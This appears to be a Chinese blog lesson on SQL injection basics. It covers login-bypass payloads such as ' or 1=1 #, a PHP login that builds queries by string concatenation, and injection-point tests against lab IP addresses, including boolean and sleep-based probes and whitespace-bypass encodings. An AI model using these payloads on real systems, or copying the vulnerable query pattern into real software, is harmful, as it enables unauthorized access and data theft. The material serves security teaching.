SQL注入-第一节基本原理

第一节SQL注入原理

  • 掌握SQL 注入漏洞的原理

  • 掌握SQL 注入漏洞的分类

​ 结构化查询语言(Structured Query Language,SQL),是一种特殊的编程语言,用于数据库的标准数据查询。

​ 实际上不同数据库系统之间的SQL 不能完全相互通用。

​ SQL 注入(SQL Injection)是一种常见的Web 安全漏洞。攻击者利用这个漏洞,可以增删改查数据库中数据,或者利用潜在的数据库漏洞进行攻击。

  • 增、删、改、查

  • 读、写文件

  • 提权

1.1万能用户名

在不知道密码的情况下,成功登录。

1.1.1万能用户名

777' or 1=1 #
admin' or '1'='1

1.1.2 查看代码

<?php
session_start ();
header('Content-Type: text/html; charset=utf-8');
include_once ("../include/config.inc.php");
if (isset ( $_POST ["username"] )) {
 $username = $_POST ["username"];
} else {
 $username = "";
}
if (isset ( $_POST ["password"] )) {
 $password = $_POST ["password"];
} else {
 $password = "";
}
//记住用户名
setcookie (username, $username,time()+3600*24*365);
if (empty($username)||empty($password)){
 exit("<script>alert('用户名或密码不能为空!');window.history.go(-1)</script>");
}
$user_row = $db->getOneRow("select userid from cms_users where username = '".$username."' and password='".md5 ( 
$password ) ."'");
if (!empty($user_row )) {
 setcookie (userid, $user_row ['userid'] ); 
 header("Location: index.php");
}else{
 exit("<script>alert('用户名或密码不正确!');window.history.go(-1)</script>");
}
?>

1.1.3登录逻辑

  • 通过POST 方式获取用户名和密码;

  • 构造SQL 语句以用户名和密码作为查询条件进行查询,并且是单引号闭合;

  • 如果SQL 语句正确执行并且结果集对象中有记录则提示登录成功;

  • 否则,登录失败。

1.1.4拼接问题

select userid from cms_users where username = '{用户名}' and password='{md5(密码)}';
select userid from cms_users where username = '777' or 1=1 #' and password='e10adc3949ba59abbe56e057f20f883e';

1.2 SQL 注入总结

1.2.1SQL注入原理

SQL 注入的攻击行为可以描述为通过用户可控参数中注入SQL 语法,破坏原有SQL 结构,达到编写程序时意料之外结果的攻击行为。其成因可以归结为以下两个原因叠加造成的:

  • 程序员在处理程序和数据库交互时,使用字符串拼接的方式构造SQL 语句。

  • 未对用户可控参数进行足够的过滤,便将参数内容拼接到SQL 语句中。

1.2.2SQL注入危害

攻击者可以利用SQL 注入漏洞,可以获取数据库中的多种信息,例如,后台管理员账密,从而脱取数据库中的内容(脱库)。

在特别的情况下还可以插入内容到数据库、删除数据库中的内容或者修改数据库内容。

如果数据库权限分配存在问题,或者数据库本身存在缺陷,攻击者可以利用SQL 注入漏洞直接获取WebShell 或者服务器权限。

1.2.3SQL注入分类

根据不同的标准,SQL 注入漏洞可以有不同的分类

两大基本类型五大基本手法提交参数方式注入点位置
数字型联合查询GET 注入URL 注入
字符型报错注入POST 注入搜索框注入
布尔盲注Cookie 注入留言板注入
延时注入HTTP 头部注入登录框注入
堆叠查询

1.3 SQL注入漏洞挖掘

  • SQL 注入可能存在的位置。

  • 如何确定SQL 注入漏洞存在性?

1.3.1注入点判断

会在疑似注入点的地方或者参数后面尝试提交数据,从而进行判断是否存在SQL 注入漏洞。

步骤测试数据测试判断
1-1或+1是否能够回显上一个或者下一个页面(判断是否有回显)
2'或"是否显示数据库错误信息;根据回显内容可以判断是字符型数据还是数字型。
3and1=1; and1=2回显的页面是否不同(布尔类型的状态)
4and sleep(5)判断页面的返回时间
5\判断转义

1.3.2主要关注的问题

主要关注的问题解释
回显数据库中的内容是否会回显在网页中。
数据库报错数据库报错信息是否会回显在网页中;提交的数据是字符型还是数字型,如果是字符型数据,闭合方式是什么?主要关注的问题
布尔类型状态显示的页面不同,形成对比;页面正常或者不正常。
延时让数据库沉睡相应的秒数

1.3.3CMS注入点

是否有回显。

http://10.4.7.130/cms/show.php?id=33
http://10.4.7.130/cms/show.php?id=32
http://10.4.7.130/cms/show.php?id=34
# 有回显

是否有报错。

http://10.4.7.130/cms/show.php?id=34'
# near ''' at line 1
# 中间的单引号才是SQL 语句的内容
# select * from tb_name where id=34'
# 34 没有出现在报错信息中,说明是数字型注入
# 有报错

是否有布尔类型状态。

http://10.10.10.128/cms/show.php?id=33+and+1=1 # 页面正常
http://10.10.10.128/cms/show.php?id=33+and+1=2 # 页面不正常
# 有布尔类型状态

是否有延时。

http://10.10.10.128/cms/show.php?id=33+and+sleep(5)
# 有延时

1.4其他知识补充

1.4.1MySQL数据库中的注释

MySQL中的注释URL中表现
减减空格(三个字符)【-- 】–+
井号 【#】%23
内联注释 /!5000 AJEST/

1.4.2SQL注入流程

1.4.3可以代替空格的字符

?id=1'%0Aand%0A1=1%23
?id=1'%0Band%0B1=1%23
?id=1'%0Dand%0D1=2%23
?id=1'%A0and%A01=2%23
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

§666§

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值